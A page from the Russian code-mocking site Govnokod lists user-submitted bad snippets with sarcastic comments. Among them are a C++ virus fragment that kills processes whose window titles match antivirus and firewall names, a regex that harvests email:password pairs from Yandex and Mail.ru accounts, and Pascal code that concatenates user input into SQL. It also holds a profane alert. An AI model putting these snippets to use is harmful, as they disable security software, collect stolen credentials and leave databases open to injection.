1. Лучший говнокод

    В номинации:
    За время:
  2. JavaScript / Говнокод #16397

    +160

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    <html>
        <head>
            <title>Делаем калькулятор</title>
        </head>
        <body>
            <table>
                <tr>
                    <td>
                        Сервер
                    </td>
                    <td>
                        <select id="server">
                            <option value="0" selected></option>
                            <option value="1">СЕРВЕР / 01</option>
                            <option value="2">СЕРВЕР / 02</option>
                        </select>
                    </td>
                </tr>
                <tr>
                    <td>
                        Вирты
                    </td>
                    <td>
                        <input id="virt" type="text" placeholder="Сколько хотите вирт" />
                    </td>
                </tr>
                <tr>
                    <td>
                        Рубли
                    </td>
                    <td>
                        <input id="rubles" type="text" placeholder="Это будет стоить" />
                    </td>
                </tr>
                <tr>
                    <td></td>
                    <td>
                        <button id="submit">Рассчитать стоимость</button>
                    </td>
                </tr>
            </table>
            <!-- JQUery scripts -->
            <script src="https://code.jquery.com/jquery-1.10.2.min.js"></script><!-- Подключаем JQuery библиотеку -->
            <script>
                $("#submit").click(function() {//При нажатии на кнопку с id="submit" произойдет все нижеописанное
                    if ($("#rubles").val() != '' || $("#virt").val() != '') {
                        
                        /* Определяем севрвер и ставим для него коэфицент */
                        switch ($("#server").val()) {
                            case '1':
                                var k = 10;//Коэфицент первого сервера
                                break;
                            case '2':
                                var k = 20;//Коэфицент второго сервера
                                break;
                            default:
                                alert('Упс.. ошибка');//Что будет, если ни одно из значений не подойдет
                                break;
                        }
    
                        if ($("#rubles").val() == '' && $("#virt").val() != '') {//Если введены вирты ->
                            $("#rubles").val($("#virt").val() * k);//-> вычисляем рубли
                        } 
                        if ($("#rubles").val() != '' && $("#virt").val() == '') {//Если введены рубли ->
                            $("#virt").val($("#rubles").val() / k);//-> вычисляем вирты
                        }
                    } else {
                        alert('Пустое значение себе в жопу засунь выблядок');//Если пользователь нажал на кнопку, ничего не введя
                    }
                });
            </script>
        </body>
    </html>

    Нашел на просторах интернетов, 68 строка убила.

    CoolDark, 21 Июля 2014

    Комментарии (23)
  3. C++ / Говнокод #16341

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
    
    BOOL BadWindow(LPSTR strWindow)
    {
    BOOL res = FALSE;
    for (int i=0;i<kx;i++)
    if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
    return res;
    }
    BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
    {
    LPTSTR str1 = new char[255];
    GetWindowText(hwnd1,str1,255);
    if (BadWindow(str1))
    {
    DWORD dwProcessId;
    GetWindowThreadProcessId(hwnd1,&dwProcessId);
    if (dwProcessId!=GetCurrentProcessId())
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    TerminateProcess(hProcess,0);
    CloseHandle(hProcess);
    }
    }
    delete str1;
    return TRUE;
    }
    void EnumProcessesOther()
    {
    LPARAM c = 0;
    EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
    }

    > {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
    > TerminateProcess(hProcess,0);
    Наивный макак.

    http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/

    gost, 15 Июля 2014

    Комментарии (23)
  4. Куча / Говнокод #16285

    +133

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if chkyandex.Checked then
    	
        reg.Expression:='([a-zA-Z0-9]+[\.]{0,}[\_]{0,}[-]{0,})+@([ya]{2}[ndex]{0,4}|[xaker]{5})\.[a-zA-Z]{2,3}\s{0,4}[:;]\s{0,4}[a-zA-Z0-9\.\_]+'; 
        else
        reg.Expression:='([a-zA-Z0-9]+[\.]{0,}[\_]{0,}[-]{0,})+@([mail]{4}|[inbox]{5}|bk{2}|list{4})\.([a-zA-Z]{2,3}\s{0,4}[:;]\s{0,4}[_\-a-zA-Z\d\.\_]+)';

    RegEXP головного мозга.
    Работает.

    brutushafens, 08 Июля 2014

    Комментарии (23)
  5. C# / Говнокод #16253

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    class ProducerConsumer
        {
            private static Semaphore semaphore = new Semaphore(1, 2);
            static object locker = new object();
            static int product = 0;
            private static bool work = true;
            private static bool valueSet = false; // why??
    
            private static void Producer() // производитель
            {
                while (work)
                {
                    Console.WriteLine("Thread Producer start");
                    int sqr = 0;
                    semaphore.WaitOne(); // декрементируем счётчик семафора
                    for (int i = 0; i < 15; i++)
                    {
                        sqr = i * i;
                    }
                    lock (locker) // error
                    {
    
                        while (valueSet)
                        {
                            Thread.Yield();
                        }
                        product += sqr;
                        valueSet = true;
                        Console.WriteLine("Product put: " + sqr);
                        Console.WriteLine("Product now: " + product);
                    }
                    semaphore.Release(); // выход из семафора
                    Thread.Sleep(5000);
                }
            }
    
            private static void Consumer() // потребитель
            {
                const int MAX = 5;
                int[] arr = new int[MAX];
                int result = 0;
                Random rand = new Random();
    
                while (work)
                {
                    Console.WriteLine("Thread Consumer start");
                    semaphore.WaitOne(); 
                    for (int i = 0; i < 5; i++)
                    {
                        arr[i] = rand.Next(0, 1024);
                    }
                    for (int i = 0; i < 5; i++)
                    {
                        result += arr[i];
                    }
                    result /= 5;
                    while (!valueSet)
                    {
                        Thread.Yield();
                    }
                    lock (locker)
                    {
                        if (product - result > 0) // исключаем отриц.кол-ва продуктов
                        {
                            product -= result;
                            Console.WriteLine("Product get: " + result);
                        }
                        else 
                        {
                            Console.WriteLine("Product < 0");
                        }
                        valueSet = false;
                        Console.WriteLine("Product now: " + product);
                    }
                    semaphore.Release();
                    Thread.Sleep(5000);
                }
            }
    
            public static void Main()
            {
                Thread threadProducer = new Thread(Producer);
                threadProducer.Start();
    
                Thread threadConsumer = new Thread(Consumer);
                threadConsumer.Start();
    
                Thread.Sleep(5000);
    
                Console.WriteLine("Main thread start.");
                String str = System.Console.ReadLine();
                Console.ReadKey();
            } 
    }

    Корявый пример решения задачи "Producer-Consumer".

    qstd, 29 Июня 2014

    Комментарии (23)
  6. Java / Говнокод #16153

    +68

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    int k = 50;
    while (true){
        i = i + i;
        System.out.println(i);
        k--;
        if (k<0) break;
    }

    http://stackoverflow.com/questions/24173463/why-does-i-i-i-give-me-0

    evg_ever, 12 Июня 2014

    Комментарии (23)
  7. C# / Говнокод #16119

    +110

    1. 1
    private string _guin = Convert.ToString(Convert.ToString(Convert.ToString((string)Guid.NewGuid().ToString()).ToString() as string).ToString() as string).ToString() as string;

    alexCoder2007, 05 Июня 2014

    Комментарии (23)
  8. PHP / Говнокод #15936

    +160

    1. 1
    2. 2
    3. 3
    class WPEditableComments{
    
    	function WPEditableComments(){$this->__construct();}

    Нашел в одном из плагинов wp. Чел думает об обратной совместимости ога

    Diwms, 07 Мая 2014

    Комментарии (23)
  9. Куча / Говнокод #15890

    +126

    1. 1
    2. 2
    printfn "%A" <| [1,2,3,4,5].Length
    printfn "%A" <| [1..5].Length

    F#
    http://ideone.com/A2DZPr

    HaskellGovno, 03 Мая 2014

    Комментарии (23)
  10. C# / Говнокод #15723

    +134

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    foreach (Admin _admin in _admins.Where(a => a.Login == _login))
                    {
                        if (_admin.Password == _password)
                        {
                            SessionObj = new Al2AllAuth
                            {
                                AccessId = _admin.Type,
                                Ename = _admin.Name,
                                Whoid = _admin.Id
                            };
                            var _type = (AdminTypes) _admin.Type;
                            switch (_type)
                            {
                                case AdminTypes.FirstType:
                                    return RedirectToAction(c_adminActionName, c_userControllerName);
                                case AdminTypes.SecondType:
                                    if (string.IsNullOrEmpty(model.Page) || string.IsNullOrEmpty(model.Uid))
                                        throw new ArgumentException(InternalResources.EmptyPageOrUid, "model");
                                    return RedirectToAction(model.Page, new { uid = model.Uid });
                                default: 
                                    break;
                            }
                        }
                        else
                        {
                            return RedirectToAction(_errorActionName);
                        }
                    }

    Лямбда в foreach очен смутила... Зачем?

    KonstantinK, 11 Апреля 2014

    Комментарии (23)
  11. Pascal / Говнокод #15435

    +91

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    if not DM.For_Akc_Base_Update.InTransaction then
          DM.For_Akc_Base_Update.StartTransaction;
                  Close;
                  SQL.Clear;
                  SQL.Add('insert into Bank (BNAME, full_name, bik, ks, inn, rkc,postind,postcity,postaddr,telef ) values ');
                  SQL.Add('('''+edName.Text+''', '''+mFull_Name.Text+''', ');
                  SQL.Add(' '''+edBik.Text+''', ');
                  SQL.Add(''''+edKS.Text+''', '''+edInn.Text+''', ');
                  SQL.Add(''''+edRkc.Text+''', '''+edInd.Text+''', ');
                  SQL.Add(''''+edCity.Text+''', '''+edAdr.Text+''', ');
                  SQL.Add(''''+edTel.Text+''' )');
                  ExecSQL;
                  DM.For_Akc_Base_Update.Commit;
                      DM.Bank.Close;
                      DM.Bank.Open;

    Принял проект. Начал смотреть. Вот так вот добавляют запись в таблицу. И так по всему проекту.

    Vince, 12 Марта 2014

    Комментарии (23)